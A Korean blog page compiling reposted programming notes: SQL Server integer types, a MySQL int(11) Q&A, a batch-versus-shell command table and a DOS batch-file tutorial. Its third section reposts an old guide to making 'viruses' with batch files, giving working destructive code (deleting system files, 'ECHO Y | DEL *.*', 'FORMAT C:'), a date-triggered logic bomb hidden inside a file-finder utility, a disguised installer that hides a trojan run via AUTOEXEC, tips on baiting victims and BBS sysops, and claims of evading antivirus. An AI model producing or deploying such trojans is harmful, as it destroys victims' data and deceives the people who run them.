출처: http://msdn.microsoft.com/ko-kr/library/ms187745.aspx

정말 헷갈린다..ㅡㅡ;; 쉬운듯하면서 제일 어려운 것..ㅡㅡ

------------------------------------------------------------------------------------
정수 데이터를 사용하는 정확한 숫자 데이터 형식입니다.

데이터 형식

범위

저장소

bigint

-2^63(-9,223,372,036,854,775,808) ~ 2^63-1(9,223,372,036,854,775,807)

8바이트

int

-2^31(-2,147,483,648) ~ 2^31-1(2,147,483,647)

4바이트

smallint

-2^15(-32,768) ~ 2^15-1(32,767)

2바이트

tinyint

0 ~ 255

1바이트

int 데이터 형식은 SQL Server에서 주 정수 데이터 형식입니다. bigint 데이터 형식은 정수 값이 int 데이터 형식에서 지원하는 범위를 초과하는 경우에 사용하기 위한 것입니다.

bigint 의 데이터 형식 우선 순위 위치는 smallmoneyint 사이입니다.

함수는 매개 변수 식이 bigint 데이터 형식인 경우에만 bigint를 반환합니다. SQL Server에서는 다른 정수 데이터 형식(tinyint, smallintint)을 자동으로 bigint로 승격시키지 않습니다.

주의 사항 주의

+, -, *, / 또는 % 산술 연산자를 사용하여 int, smallint, tinyint 또는 bigint 상수 값을 float, real, decimal 또는 numeric 데이터 형식으로 암시적 또는 명시적으로 변환하는 경우 SQL Server에서 데이터 형식과 식의 전체 자릿수를 계산할 때 적용하는 규칙은 쿼리에 자동으로 매개 변수가 지정되는지 여부에 따라 결과가 달라집니다.

그러므로 경우에 따라 쿼리의 비슷한 식이 다른 결과를 생성하기도 합니다. 쿼리에 자동으로 매개 변수가 지정되지 않는 경우 상수 값은 먼저 전체 자릿수가 상수 값을 보유할 수 있을 만큼 큰 numeric으로 변환된 다음 지정된 데이터 형식으로 변환됩니다. 예를 들어 상수 값 1은 numeric (1, 0)으로 변환되고 상수 값 250은 numeric (3, 0)으로 변환됩니다.

쿼리에 자동으로 매개 변수가 지정되는 경우 상수 값은 최종 데이터 형식으로 변환하기 전에 항상 numeric (10, 0)으로 변환됩니다. / 연산자가 들어 있는 경우 비슷한 쿼리 간에 결과 형식의 전체 자릿수뿐만 아니라 결과 값도 달라질 수 있습니다. 예를 들어 자동으로 매개 변수가 지정되며 SELECT CAST (1.0 / 7 AS float) 식이 포함된 쿼리의 결과 값은 자동으로 매개 변수가 지정되지 않는 동일한 쿼리의 결과 값과 달라집니다. 자동으로 매개 변수가 지정되는 쿼리의 결과는 numeric (10, 0) 데이터 형식에 맞게 잘리기 때문입니다. 자동으로 매개 변수가 지정되는 쿼리에 대한 자세한 내용은 단순 매개 변수화를 참조하십시오.


Posted by 노을지기

댓글을 달아 주세요

출처: http://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=qna_db&wr_id=172871&page=9

헷갈리는 것..ㅡㅡ;;

---------------------------------------------------------------------
엉뚱한 질문인것을 알지만, 질문 드립니다.

제가 어디선가
int(11), int(10)은 모두 4Byte를 사용해서 용량상의 차이는 없다.
단지 보여지는 글자가 11자와 10자 라는 것만 차이가 난다.

라고 본것 같습니다.

이게 맞는 것인지 궁금합니다.

int형은 4Byte는 맞는데 용량상의 차이가 없다면, 그럼 왜 int(11)을 쓰고, int(10)을 쓰고 하는 것인지 궁금하네요..

부의미래 11-03-22 17:00
()안의 숫자는 ZEROFILL을 위한 숫자입니다.
CREATE TABLE test ( test1 INT(10) ZEROFILL )
test1에 11111값을 입력하고 SELECT 해보시면 0000011111이 출력됩니다.
int(3)이든 int(10)이든 int(11)이든 입력 받을 수 있는 값은 같습니다

debug_on 11-03-22 17:40
printf("%ld")
printf("%010ld")
printf("%011ld")
들의 차이??
enmu 11-03-22 17:47
세분 모두 답변 감사합니다.^^*

통쾌하게 블로거나 웹페이지에 적어놓은것 찾기가 쉽지가 않았습니다.
어디서 보긴 봤는데, 긴가민가 해서요 ^^
다시한번 감사합니다^^

Posted by 노을지기

댓글을 달아 주세요

1. 배치파일(BAT) 명령어

 

배치 파일 연산자

쉘 스크립트 동의어

%

$

명령어줄 매개변수 접두사

/

-

명령어 옵션 플래그


/

디렉토리 패스 구분자

==

=

(같음) 문자열 비교 테스트

!==!

!=

(다름) 문자열 비교 테스트

|

|

파이프

@

set +v

현재 명령어를 에코하지 말 것

*

*

파일명 "와일드 카드"

>

>

파일 재지향(덮어 쓰기)

>>

>>

파일 재지향(덧붙여 쓰기)

<

<

표준입력 재지향

%VAR%

$VAR

환경 변수

REM

#

주석

NOT

!

뒤에 나오는 테스트 부정

NUL

/dev/null

명령어 출력을 없애기 위한 "블랙홀"

ECHO

echo

에코 (Bash 에는 옵션이 많이 있음)

ECHO.

echo

빈 줄 에코

ECHO OFF

set +v

다음에 나오는 명령어를 에코하지 말 것

FOR %%VAR IN (LIST) DO

for var in [list]; do

"for" 루프

:LABEL

없음 (필요치 않음)

라벨

GOTO

없음 (대신 함수를 씀)

스크립트의 다른 곳으로 건너 뜀

PAUSE

sleep

일정 간격을 두고 잠시 대기

CHOICE

case 나 select

메뉴 선택

IF

if

if-test

IF EXIST FILENAME

if [ -e filename ]

파일이 존재하는지 확인

IF !%N==!

if [ -z "$N" ]

변경가능한 매개변수인 "N"이 없다면

CALL

source 나 . (도트 연산자)

다른 스크립트를 "포함"

COMMAND /C

source 나 . (도트 연산자)

다른 스크립트를 "포함"(CALL과 동일)

SET

export

환경 변수를 세트

SHIFT

shift

명령어줄 변수 목록을 왼쪽으로 이동(shift)

SGN

-lt or -gt

(정수) 부호(sign)

ERRORLEVEL

$?

종료 상태

CON

stdin

"콘솔"(표준입력)

PRN

/dev/lp0

(일반적인) 프린터 디바이스

LP1

/dev/lp0

첫번째 프린터 디바이스

COM1

/dev/ttyS0

첫번째 시리얼 포트

 

 

2. 배치 파일 만들기



출처 : http://my.dreamwiz.com/bicter/tech/pwr_02.htm
 

도스에는 명령어를 일괄적으로 처리하기위한 배치파일이라는 것이 있습니다.
대부분의 사람들은 배치파일이 도스환경을 쉽게 만든다는 사실을 과소평가하는데, 컴퓨터를 좀더 쉽게 사용하고 싶다면 배치파일을 꼭 짚고 넘어가는것이 좋습니다.


배치파일이란 ?

컴퓨터의 동작 상태를 살펴 보면 항상 사용자와의 상호작용에 의하여 작업이이루어진다는것을 알 수 있습니다.  도스라는 운영체제도 사용자가 명령을 입력하면 그 명령에 대해 도스가 분석하여 사용자가 원하는 실행 결과를 제공합니다.
따라서 사용자는 항상 도스 프롬프트 상에서 일일이 키보드를 이용한 타이핑으로 명령을 내려야 하고, 하나의 명령이 내려지면 완료될 때까지 다음 명령을 내릴수가 없습니다. 작업 과정이 얼마되지 않는다면 큰 상관이 없으나 그 과정이 매우 길고 복잡하다면 사용자는 지루함을 느끼게 됩니다. 또한 비록 짧은 작업과정이라도 컴퓨터를 켤때마다 매번 똑같은 과정을 일일이 지시하는 것도 귀찮을 것입니다.
이러한 경우 배치 파일은 가장 확실한 해결책입니다.

배치파일의 기능은 순차적이고 반복된 동일한 작업 과정을 몇개의 혹은 수십, 수백 개의 연관된 명령어를 하나의 파일로 집약하여 그 하나의 파일(배치파일)만 실행함으로써 원하는 작업 과정을 수행하는것입니다.배치파일에 붙는 확장자는 .bat(batch 의 약어) 입니다.도스에서 실행이 가능하기 때문에 .com, .exe 확장자가 붙는 외부 명령어와 함께 실행 가능한 파일로 분류됩니다.차이가 있다면 .com, .exe 명령어는 컴퓨터만 해석 가능한 기계어 코드로 구성되어 있는반면, 배치 파일은 사람이 알아볼수 있는 일반 텍스트로 이루어져있다는 것입니다.

그래서 사용자들은 문서작성에 이용하는 워드프로세서나 텍스트에디터 등을 이용해 배치 파일을 작성할 수 있습니다. 그러나 워드프로세서는 덩치가 크고 원래 목적이 편집과 출력을 위해 만들어진 것이므로 단순한 배치 파일을 작성하는 데는 권하고 싶지 않습니다.

저장할때도 워드프로세서 고유의 포맷(예" .hwp 확장자를 가지는 아래아한글 데이터 파일)으로 저장하면 인식이 되지 않으므로 아스키 파일로 저장해야 합니다.가장 편리한 방법은 일반 문서 에디터( 도스의 Edit, Q에디터,U에디터 등)를 이용하거나 도스의 'Copy Con' 명령으로 배치 파일을 만드는 것입니다.다음과 같이 'Copy con 파일명' 형식으로 입력하고 엔터를 누르면 도스 프롬프트 상태에서 편집할 수 있는 상태가 됩니다.

C:Bats> copy con Timedate.bat
cls
time
date
^Z

   1 File(s) copied

여기서 쓰고 싶은 대로 적기만 하면 됩니다.제일 마지막행의 ^Z 는 파일의 제일 마지막 부분이라는 것을 도스에게 알려주는 코드로 <  Ctrl + Z > 키 또는 F6 키를 누르면 됩니다. 그리고 엔터키를 한번더 누르면 '1 File(s) copied' 라는 메세지가 출력되는데, 이는 방금 ' copy con 파일명 ' 으로 작성된 문서파일이 성공적으로 만들어졌다는 뜻입니다.위의 문서파일은 확장자가 .BAT 로 붙었기 때문에 실행가능한 외부 명령어가 되는데, 배치파일은 명령이 기록되어 있는 순서대로 실행되기 때문에 timedate.bat 를 실행시키면 먼저 화면을 지우고 난뒤 시스템의 시간과 날짜를 설정합니다.간단한 배치파일은 'copy con 파일명' 으로 작성하는 것이 다른 프로그램의 도움없이 쉽고 빠르게 처리할 수 있습니다. 하지만 배치파일이 조금 길거나 작성중에 수시로 편집할 일이 생기는 경우에는 불가능합니다. 'copy con 파일명' 으로 파일을 작성하면 행으로 다시돌아갈 수 없을 뿐 아니라 수정이 불가능하기 때문입니다. 그러므로 배치파일을 만들 필요가 있을때는 문서 에디터를 이용하는 것이 좋습니다.

▶   배치파일 작성 명령어 9인방

배치 파일은 파일 안에 기록되어 있는 명령의 순서대로 실행됩니다.가장 대표적인 것이 부팅에 이용되며, 컴퓨터의 루트 디렉토리에 위치하고 있는 Autoexec.bat 파일입니다. 그런데 만약 배치 파일의 실행의 순서를 순차적이 아닌멀티부팅용 Autoexec.bat 처럼 사용자 마음대로 정하고 싶다면 배치파일에 제공되는배치명령어의 용도를 알고 있어야 합니다.


1. CALL


현 재 실행중인 배치 파일을 종료하지 않고 필요한 다른 배치파일을 호출하여 실행한 다음 원래의 배치파일로  다시 돌아오려고 할 때 사용됩니다.

◇ 사용법 : Call [drive:][경로]<배치파일명>[.BAT]

◇ 예  :  Call c:batssample.bat

어떤 배치 파일을 실행하는 도중에 경로 C:bats 에 있는  sample.bat 파일을 실행한 다음 다시 원래의 배치파일로 돌아옵니다.


2. CHOICE

배치 프로그램 내에서 사용자의 선택을 묻기 위해 사용됩니다. 배치 파일 제작자가 설정한 물음을 출력하면서 지정된 키 입력을 기다립니다. 이 명령은 배치파일 내에서만 사용 가능합니다.

◇ 사용법 :choice [/C[:]문자열][/N][/S][/T[:]기본키,대기시간][메세지]

◇ 옵션

- /C[:]문자열  : 사용자가 선택할 수 있는 키목록을 [] 괄호 내에 ', ' 로 구분하여 출력하고  /C 스위치를 사용하지 않으면 기본적으로  YN이 사용됩니다.

- /N : 프롬프트를 출력하지 않도록 합니다.

- /S : 사용자의 입력에서 소문자, 대문자를 구분하도록 합니다.

- /T[:]기본키, 대기시간 : 기본키를 지정한 후 대기시간 동안 사용자의 키 입력이 없으면  자동적으로 기본키가 입력된 것으로 간주하고 진행됩니다. 지정 가능한 대기시간은 초단위이며 0에서 99 사이의 값입니다.

- 메세지 : 화면에 출력될 메세지를 지정합니다.

◇ 예 : choice /c:abCD /s /t : C, 5 다음중에서 하나를 선택하십시오 a, b, C, D
◇ 설명 : 입력 가능한 키를 a,b,C,D로 한정하며 사용자로부터 입력되는 영문자의 대,소문자를 구분하는데, 만약 5초 내에 사용자로부터 키 입력이 없다면 C 가 입력된 것으로 간주합니다. 그리고 화면에는
'다음중에서 하나를 선택하십시오 a, b, C, D[a,b,C,D]? ' 
라는 메세지가 출력됩니다.


3. ECHO

배 치파일 실행중에 명령어를 화면에 표시할 것인지의 여부를 설정하며, 그 상태를 표시합니다. 한편 ECHO 명령 뒤에 오는 메세지는 화면에 나타납니다.

◇ 사용법 : echo [on/off] [문자열]

◇ 옵션
- on : 배치 파일 실행중에 그 배치 파일 내의 명령어를 화면에 표시합니다. 
- off : 배치 파일 실행중에 명령어를 화면에 출력하지 않도록 합니다.
- 문자열 : 화면에 출력하고 싶은 메세지를 적어줍니다.
- 없음 : 현재 ECHO 설정 상태를 표시합니다.

◇ 예  :

echo off    
☞ 현재 실행중인 배치 파일 내의 명령어를 화면에  나타나지 않도록 함.
echo
echo 안녕하세요?~
☞ 현재 echo 설정상태를 표시하며  안녕하세요?~ 라는 문구를 화면에 출력합니다.  


4. FOR

지정된 집합 중의 각각의 요소에 대하여 명령으로 설정한 처리를 반복 실행합니다.

◇ 사용법

For %%<변수> IN (<집합>) DO <명령> [<옵션>]    ☞ 배치파일용. 
For %<변수> IN (<집합>) DO <명령> <옵션>]         ☞ 순차처리용.


◇ 옵션

- %%<변수>, &<변수>  : 변수로 사용되는 것은 임의의 영문자로 1자만 허용됩니다.  주의할 점은 배치파일에서 사용할 경우는 반드시 %%처럼 두개를 연달아 사용해야 하며, 일반 도스 프롬프트에서 사용할 때는 % 하나만 사용합니다.

- <집합> : %%<변수>에 대입하고 싶은 값을, 또는 스페이스로 구분하여 대입하고 싶은 순서대로 나열합니다.

- <명령> : %%<변수>에 대입되어 있는 값에대해 반복적으로 실행하고 싶은 명령을 지정합니다.

- <옵션> : 지정한 명령의 옵션이나 FOR 명령에서 지정한 옵션을 설정합니다.

◇ 예

for  %%f  in  (bak tmp $$$) do del *.%%f /p       ☞ 배치파일의 경우
for %d  in  (read,wh,file) do hlist %d*.*               ☞ 도스 프롬프트에서 실행시

◇ 설명 : 첫 번째는 bak, tmp, $$$ 를 순서대로 %%f 환경 변수에 대입하여 차례대로
 DEL *.bak /p, DEL *.tmp /p, DEL *.$$$ .p 를 실행한 것과 동일한 결과를 얻게됨.

두번째는 READ,WH,FILE 를 순서대로 %d 환경변수에 대입하여 차례대로
 HLIST READ*.*, HLIS TWH *.* , HLIST FILE *.* 를 실행한 것과 동일한 결과를 얻게 됩니다.


5. GOTO

배 치 처리의 흐름을 <레이블>에서 정의되어 있는 위치로 옮깁니다.

◇ 사용법 :Goto <레이블>

◇ 예 :
goto loop
:loop
각 종 처리할 내용


◇ 설명  : 레이블 loop 로 배치 처리의 제어권을 이동시켜 loop 항목에 지정된 각종 처리할 내용을 실행시킵니다.

◇ 참고  : 배치 파일에 레이블 표시는 레이블명 앞에 콜론(:) 을 붙여주며 줄을
              바꿔 맨 앞에 지정해 주어야 합니다.



6. IF

지정한 조건의 판단 결과에 따라서 배치 처리를 진행합니다.

◇ 사용법 :  If [NOT] <조건> <명령>

◇ 옵션

- NOT : 지정한 조건의 반대 조건일 때만 실행합니다.

- 조건

- ERRORLEVEL <수치> : 바로 전에 실행한 명령(프로그램)의 종료 코드가 <수치> 이상일 때에는 참이 되고 <명령> 이 실행됨.

- <문자열1> == <문자열2> : <문자열1> 과 <문자열2> 가 같을 때에만 참이되고 <명령>이 실행됩니다. 주의할 점은 문자열의 대,소문자가 구별되며, 문자열중에 구분기호(콤마,스페이스,세미콜론,등호,탭)가 포함되어 있으면 않됩니다.

- EXIST <파일명> : <파일명>으로 지정한 파일(경로포함)이 존재할 때에만 참이 되고    <명령>이 실행됩니다. <파일명>에는 와일드카드 문자의 사용이 가능합니다.

◇ 예 :
if errorlevel 2 goto quit
if not %1 ==%2 goto process
if exist d:worktemp.$$$ del d:worktemp.$$$


◇ 설명 :
직전에 실행한 명령의 종료 코드가 2 이상일 경우 레이블  QUIT로 이동합니다.

환경변수 %1과 환경변수 %2에 대입되어 있는 문자열이 같지 않을 경우에만 레이블 PROCESS 로 이동합니다.

경로 D:Work 에 temp.$$$ 라는 파일이 존재하면 그 파일을 삭제합니다.


7. PAUSE

배 치 파일 실행을 일시 정지합니다.

◇ 사용법 :Pause [문자열]

◇ 옵션

- 문자열 : 문자열을 생략하면 'press any key to continue...'라는 메세지가 화면에  출력됩니다. 만약 PAUSE 명령 뒤에 어떤 메세지를 지정하여 그 메시지를  출력하고 싶다면 'Echo On' 명령을 우선 내려야 합니다.

◇ 예 :   
 echo on
 pause  준비가 되었으면 아무키나 누르세요...


◇ 설명 :  배치 처리 중 pause명령을 만났을때 임의의 다른 메시지를 화면에 출력하고 싶다면 예 에서와 같이 반드시 echo on 명령이 선행되어야 하며 예의 경우에는  ' 준비가 되었으면 아무키나 누르세요...' 라는 메세지가 출력됩니다.

◇ 참고 :  위 처럼 하면 화면에 Pause 라는 명령어까지 같이 출력되므로 이런경우
echo on 
echo  준비가 되었으면 아무키나 누르세요...
pause > Null


이런식으로 사용하면 출력하고자 하는 메세지만 화면에 출력됩니다.


8. REM

배 치 파일 내에 주석문을 부여하고 싶을 때 사용합니다.

◇ 사용법 :rem [문자열]

◇ 옵션    

- 문자열 : 주석문으로 쓰고 싶은 것을 적어줍니다.

◇ 예 : REM 이 배치파일은 샘플입니다.

배 치파일내의 적당한 위치에 적절한 주석문을 붙여두면 배치 처리의 흐름을 일목요연하게 볼 수 있습니다.


9. SHIFT

배치 파일에 주어진 파라미터(%1~%9)와 실행시에 지정되는 값과의 대응을 하나씩 뒤로 이동하여 표시합니다.

◇ 예

:loop
if "%1" == " " goto end
echo %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
shift
goto loop
:end    


위 와 같이 배치 파일을 작성해두고 다음과 같이 배치파일을  실행해 보면 shift 명령이 어떤 역할을 하는지 금방 알 수 있습니다..
C:bats> test.bat A B C D E F G H I J 0 1 2 3 4 5  똑같이 입력하고 실행후 확인.

 

 

   
3. 배치 파일 만들기 예제
 

이 문서는 제가 옛날에 배치파일 공부할 때 하이텔 어디선가 다운받은 파일인데 누가 작성한 것인지 지금은 오래되어 기억이 나질 않습니다.

편집없이 그대로 옮깁니다.

배 치파일로 바이러스 제작하기


아주 무식하고 단순한 트로이목마를 만들어보 자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기 는 좋다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능

@ECHO OFF

ATTRIB C:*.* -H -R -S  > NUL   <= 이 줄은 시스템파일의 숨김,읽기전용,
                   시스템등의 속성을 해제시켜 지우거나 변형이 가능케한다.
                    "> NUL"  은 변 형결과가 화면에  안뜨게 하는것이다.
DEL *.SYS < NUL  <= 모든 시스템 파일을 지워버린다.

DEL XXX.YYY  < NUL <=  본 인 스스로 해당  파일명 삭제명령, 역시  보이지않게!!
CTTY NUL   <= 이것까지 추가하면 시스템이 정지한다.
                   그 래서 부팅해보면 시스템 영역이 파괴되어 작동안한다.
^Z

여기에 화면에 어떤 메시지를 띄울수도 있을것이다.

ECHO       " 이 컴퓨터는 부팅영역을 나에 게 빼앗겼다!! "

아주 간단하면서 효과는 확실하다.
현재 이 건 극히 초보적인  것이나 약간만 응용하여 다른 파일을 지우거나 파일명을 바꾸어놓는 조작을 할 수 있다. 다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다.
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어 떤 미끼를 던진다면 확실히 물릴것이다.

아래는 간단한 파일 찾기 프로그램이다.
여기 에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들 것이니 일단은 자세히 보고 원리를 이해하기 바란다.
이것들 은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할 수 있는 것이다.
그러니 각별히 사용에 주의를 요한다.

다음 예제를 살펴보자.

예) 월 표시 프로그램

@ECHO OFF
GETMONTH.COM    <= 월 체크 유틸리티
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 ECHO 12
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 ECHO 11
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 ECHO 10
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 ECHO  9
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 ECHO  8
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 ECHO  7
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 ECHO  6
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 ECHO  5
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 ECHO  4
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 ECHO  3
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 ECHO  2
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 ECHO  1
^Z

배치파일의 장점이자 단점이기도 한것이 있다.스스 로 완벽하게 작동하지 못한다는 것이다. 때문에 배치를 도와줄 유틸리티가 필요하게 되었다. 사실 C,PASCAL  로 바이러스를 만들어도 어셈블리어로  제작된 유틸리티가 필요한거 보면 대동소이 하지만.........
도 스의 DEBUG 란 것으로 제작하는 아주 간단한 유틸리티인데 이미 상당수 공개되었기에 우린 단지 그것을 찾아서 이용만 하면 된다.
위 프 로그램의 맨 첫째줄에 쓰인것이 바로 이것이다.
배치를 컴파일하신후 항상 이 두가지를 같이 사용하셔야 한다.
외부 의 GETMONTH.COM 을 파일명을 바꾸셔서 써도 되지만 이때는 반드시 배치에서도 바꾸어주셔야 한다.

자, 이것을 실행하면 현재 시스템의 월을 표시해준 다.
이것이 우리가 제작하게될 시한폭탄형 바이러스의 헤더부분, 즉. 시스템상태감식 프로그램이다.
폭탄으로 말하면 뇌관정 도로 비유될까?

이것을 활용해서 "트로이&시한폭탄 1호 형" 바이러스를 만들어보자.
아래는 일반적으로 활용할 수 있는 파일찾기 프로그램이다.

@echo off
if "%1"=="/?" goto help
cd
dir %1 /s/p/w/l/o:n
goto end
:help
echo
echo Usage : filefind [filename]
echo
:end

이제 위의 둘을 합친 모습을 보자!

@ECHO OFF

GETMONTH.COM     <= 시 스템 "월" 체크 유틸리티  . 파일명 변경해도 됨-체크할것
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO FF
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO FF
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO FF
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO FF
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO FF
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO FF
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO FF
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO FF
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO FF
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO FF
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO FF
REM  아 래부분은 바이러스 코드이다.
:VIRUS
echo   VIRUS !!  BOMB!!
ECHO Y | DEL *.* > nul              <= 중 요한 명령
REM  아래 부분은 파일찾기 프로그램 코드이다.
:FF
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd
dir %1 /s/p/w/l/o:n
goto end
echo
echo Usage : filefind [filename]
echo
:end


자 이제 자세히 설명해보자.
임의로 체 크를 3월달로 맞추어 놓았다.
자기 마음대로 1,2,3,4,5....... 고쳐 놓을수 있다.
GETMONTH 말고 시 간,일자 등으로 얼마든지 변경이 가능하다.
처음에 이 프로그램을 실행하면 시스템의 월(조건변경가능!)을 체크하여 조건에따라 정상적인 파일찾기 기능이 수행되나 임의로 지정한 3월이  되면 GOTO 분기에 의해 바이러스 코드 부분을 실행한다.
이 바이 러스 코드부분에는  여지껏 배운내용을 응용하여 얼마든지 집어넣을수 있다.
이줄    ECHO Y | DEL *.*  은 모든 파일을 삭제하라거나, 포맷을 행할때는 반드시 물어보는 YES/NO  를 임의로 YES로 지정하기 위해 들어간 줄이다.
이 렇게 명령을 주면 프로그램은 자동적으로 사용자에게 질문 않고 직접 실행시켜 버리니 소잃고 외양간도 못고치는 격이다.

다른 예 로,  ECHO Y | FORMAT C:  라고 할수도 있다.
ECHO 다음에 N 으로 하면 절대 포맷이 안된다.
그리 고 | 는 엔터를 친것처럼 한다는 파이프라고 위에서 설명했다.
자신의 응용가능 여하에따라 얼마든지 변경이 가능하다.
단, 되 도록이면 이렇게 한번에 하는것보다는  확장자만 골라서 집중적으로 파괴하는 것이 더 효과적이다.
왜냐면, 이런  방식으로 하다 간  가끔 시스템이 다운되거나  무한루프에 빠질수도있으니깐.....

만약 자신이 어떤 프로그램이나  게임등에 이런 바이 러스 코드를 첨가시켜  전파시키는 방법도 있다.

방법은, 유명게임이나 유명  유틸리티 등에 자신 이 직접  인스톨 프로그램을 작성하여 첨가시키는 것이다.

예) 간단한  인스톨 프로그램   ( 프로그램 은  C:PRPROG.ARJ 로 되어있다고  치자.)

1) 첫번째 필요한 소스

INSTALL.BAT    <= 컴파일시켜 실 행파일로 만들면 된다.

@ECHO OFF

ARJ   X  PROG.ARJ   <= COPY 나 다 른것으로 바꿔도 된다.
REM     아래 부분부터 숨겨서 침투시키는 내용
ATTRIB  +R +H M.COM    <= 이 러면 숨긴다.
COPY M.COM C:.   <= 루트디렉토리에 숨긴다.
^Z


일단은 디렉토리에 풀릴것이다.


아래것은 저번 시간에 공부한 조건형태 의 한 형태이다.
이것을 다른 정상유틸형태로 위장한 변형말고 아무런 반응이 없다가 지정한 조건시에 작동하도록 해보자.

2) 두번째 필요한 소스

M.BAT  나 NCD.BAT  <= 컴파일시 켜 M.COM or NCD.COM 으로한다.

@ECHO OFF

GETMONTH.COM    <= 시 스템 "월" 체크 유틸리티 .  대체 가능
IF ERRORLEVEL 12 IF NOT ERRORLEVEL  13 GOTO M  이 나 NCD 로 위장한다.
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO M
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO M
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO M
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO M
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO M
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO M
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO M
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO M
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO M
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO M
:VIRUS
REN  C:PRXXX.DAT XXX.COM  <= 예 전에 인스톨해놓았던 C:PR 디렉토리에
                                                       숨 겨진파일을 다시 꺼내서 실행하게끔 한다.
DEL XXX.COM   <= 자체파괴
DEL M.COM    <= 자 체파괴  / 파일명 변경가능하다.
:M
M.EXE     나    NCD.EXE
:END

왜 NCD.COM 이나 M.COM 으로 하냐면,전 에 항상 실행파일은  COM  -> EXE -> BAT 순서라고 했죠?
NCD.EXE / M.EXE 는 AUTOEXEC.BAT 에 항 상 따라온다.
이거 안쓰는 사람있음 나와보라구해~~
AUTOEXEC.BAT 는 매일 자동실행되는법~~
그래서, 이 렇게 COM 으로 만들어 숨겨두면 찾지도 못할뿐더러 파일명이 같으니 대개 그냥 넘어가버린다.
실행해봤자 3월이 되기전이라 면 바로 M.EXE 로 넘겨 버리니까 절대 안걸릴것이다.


3) 세번째 소스

세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛 에 맞게 짜기바란다.

이방법이 약간 복잡할수있다.
만약, 상대가 전 달받은 프로그램을 곧 지워버릴수 있을것이다.
그러면, 해당디렉토리의 XXX.DAT 같이 위장해놓은 파일을 아에 첨부터 루트에 카피해놓으셔도 무방하다. 전달받은 프로그램을 지워도 이것들은 살아남아 끝까지 박살낼테니깐.......

*좀더 단순화 시켜서 XXX.DAT 를 아 에 M.COM 내부에 설치할수도 있다.


배치파일 제작 바이러스 후기

이렇게 배치파일로 제작된 트로이목마  & 시 한폭탄 형 바이러스는 절대로 V3 나 TB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!!
대부분의 백신들은 어셈 블리로 제작되어 어셈블리 루틴값을 체크하거나 쓰기할 때 잡지만 배치로는 그렇게 고난도 기술을 요하지 않고도 교묘히 빠져나가며 수행하기 때문이다. 즉, 약이 없다.
일일이 에디트 로 뜯어보기전에는 모를 것이다. 하지만 전파력이 약하다는것이 단점이라고 하겠다.
그러나 원래 트로이목마 바이러스 라는게 불특 정 다수의 전파보다는 특정한 하나의 대상을 파괴하는데 목적이 있기때문에 전혀 문제될것은 아니다.

간단한 형태로 SEX.COM  이런식으로 만들어 서 즉각 반응형으로 해도 효과는 좋을것이다.
파일명 저런데 실행안해볼 사람은 없기 때문이다. 판도라의 상자일 것이다.

사설 비비에스 해킹이야 위의 자료를 등록한후 시삽 이 실행하기만 기다리면 되는것이다.

위에 열거한 각종  테크닉을 이용한다면 강력한 트로 이목마형 바이러스를 초보자들도 쉽게 제작할 수 있을 것이다. 기존의 프로그래밍 언어가 상당  수준 까지 오르는데 많이 시간이 필요한반면 배치 프로그래밍은 짧은 시간내에 학습이 가능하고 적용 이 쉽다는 장점이있다.

참 고자료

다음은 배치 프로그래밍의 대가인 티모 살미 교수 가 정리한 것입니다.
아주 유용한 테크닉들이 들어있습니다.

1.  "@echo off" 를 일반적으로 사용하기
====================================
화면 에 명령어들이 표시되지 않게 echo off 하고, 그 라인도  화면에 표시 되지 않게 하기 위해서 다음과 같이 하면 된다.
 @echo off
이 것 은 MsDos 3.30 이후 버전에서만 작동한다.  이것을  일반적으로 사용하게 하기 위해서 3.30이상의 MsDos를 사용한다면  autoexec.bat 안에 다음과 같이 적어 놓는다.
 set _echo=@
그 리고 배치파일에서 다음과 같이 사용한다면 어느 버전의 MsDos버전에서도 작동한다.
 %_echo%echo off

